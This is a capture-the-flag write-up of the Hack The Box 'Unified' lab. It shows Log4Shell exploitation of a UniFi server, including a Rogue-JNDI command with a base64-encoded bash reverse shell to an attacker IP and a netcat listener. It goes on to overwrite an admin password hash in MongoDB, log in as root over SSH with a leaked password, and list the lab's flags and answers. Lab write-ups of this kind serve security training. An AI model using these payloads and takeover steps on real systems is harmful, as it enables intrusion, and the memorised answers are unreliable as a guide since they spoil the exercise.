Unified (Tier 2)

Description

• Tier -> 2

• Difficult -> Very Easy

• OS -> Linux

• Tags -> Vulnerability Assessment / Databases / Custom Applications / MongoDB / Java / Reconnaissance / Clear Text Credentials / Default Credentials / Code Injection

https://app.hackthebox.com/starting-point?tier=2

Write-up

• I started doing an initial scan using Nmap

nmap 10.129.46.173 -p- -Pn --min-rate 2500 -oN scan.txt

---

• With this, I answered the first question

Answer: 22,6789,8080,8443

---

• Then I did an exhaustive scan to learn more about the services running on the open ports

nmap 10.129.46.173 -p22,6789,8080,8443,8843,8880 -sVC -oN serv_scan.txt

snippet

snippet

snippet

---

• With this, I answered the next question

Answer: UniFi Network

---

• I found an HTTP service running on ports 8443 and 8080 so I went to the browser to explore them starting with port 8443. There I found a login page from a software named Unifi as identified in the scan, and let me know the version for this software was 6.4.54. I also tried logging in with common credentials but it didn't work. After that, I explored the Forgot Password option which asked for an email to send a verification message, but as I was not registered it wouldn't work

To learn more about the HTTP protocol you can go here

---

• With this, I answered the next question

Answer: 6.4.54

---

• As I knew the software's version, I tried searching for any possible CVE related to it. After some research, I found this version was vulnerable to CVE-2021-44228, the well-known Log4Shell vulnerability

https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi

---

• With this and reading more about this vulnerability, I answered the next questions

Answer: CVE-2021-44228

---

Answer: ldap

---

• So first, to start the process for the exploitation, I intercepted the petition from the login page and modified it inserting a payload in the remember parameter. Then I set up a listener with tcpdump to check all the traffic over TCP, specifying in this case to listen on port 389, the default port for the LDAP service communications. Then I resend the petition and checked the listener to confirm the service was connecting back to my machine, and in fact, it was

sudo tcpdump -i tun0 port 389

To learn the complete process for the Log4Shell vulnerability exploitation you can go here

---

• With this, I answered the next questions

Answer: 389

---

Answer: tcpdump

---

• Knowing this, I created a payload and mounted a server with Rogue-JNDI to establish the communication and try to gain a reverse shell from the target machine. Then I set up a Netcat listener to receive communication and resent the petition this time pointing to the mounted server, and successfully caught a shell from the target confirming it with the whomai command. Then I sanitized the terminal to interact better with it

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTE3LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "10.10.14.117"
nc -nvlp444

---

• Once in the system, I could search for local information about users, so first I went to the /home directory where I found a user named michael, and checking the files it had, found a user.txt file from which I retrieved the user flag

---

• Then I had to find a way to escalate privileges. I started checking on the sudo execution permissions for the user, but the command wasn't on the system, and proving with some other common commands for retrieving information, they were not found. So I tried looking at the services running locally and found a MongoDB database was being deployed on port 27117

ps aux | grep "127.0.0.1"

---

• With this, I answered the next question

Answer: 27117

---

• As the database was deployed locally, I could only interact with it through the system or try to create a tunnel with SSH to connect from our machine. The second wasn't an option as we didn't have any credentials for SSH, so I tried looking if the Mongocli utility was installed on the system, and it was, so I used it to connect to the database

mongo --version
mongo --port 27117

---

• Once inside I wanted to retrieve sensitive information, but I didn't know the components of the database, so first I searched for possible default names related to the UniFi software, and with some research, found a repository that could help us to retrieve information and restore values to default for this specific software

snippet

---

• Following the guide I learned the default database for UniFi was ace, so I accessed it and checked the collections it had. The admin collection caught my attention so I retrieved its information and this revealed sensitive information about the administrator user, including its email and the hash for the password it used

use ace;
show collections;
db.admin.find();

snippet

---

• With this, I answered the next questions

Answer: ace

---

Answer: db.admin.find()

---

• So I could try changing the value of the hash for one that represented an arbitrary password and in that way impersonate the administrator user. So I used a prehashed value from the previously found repository and tried to update this on the database. After that, as I didn't get any error I assumed it had worked, and then went again to the login page to try using the credentials I had set, having access to a dashboard for a network configuration software.

# We used the SHA512 for Ch4ngeM3VeryQu!ck taken from the GitHub guide
db.admin.update({ "name": "administrator" }, { $set: { "x_shadow": "$6$9Ter1EZ9$4RCTnLfeDJsdAQ16M5d1d5Ztg2CE1J2IDlbAPSUcqYOoxjEEcpMQag41dtCQv2cJ.n9kvlx46hNT78dngJBVt0" } });

To learn more about Impersonification via credentials change on MongoDB you can go here

---

• With this, I answered the next question

Answer: db.admin.update()

---

• Being there, I explored the features the software had, and reaching the Settings>Site tab, I noticed there was a Device Authentication section with some configurations for the SSH connection under the network, leaking the password to connect as the root user through this method

---

• With this and the previously found user flag, I answered the next questions

Answer: NotACrackablePassword4U2022

---

Answer: 6ced1a6a89e666c0620cdb10262ba127

---

• So I tried connecting through SSH with these credentials and got in successfully as the root privileged user. I did an extra sanitization just to interact better with the terminal

ssh root@10.129.46.173

---

• Finally, I went to the /root folder to look at its content, noticing a root.txt file, and reading its content from where I retrieved the root flag

---

• With this, I got the root flag and pwned the machine

Answer: e50bc93c75b634e4b272d2f771c33681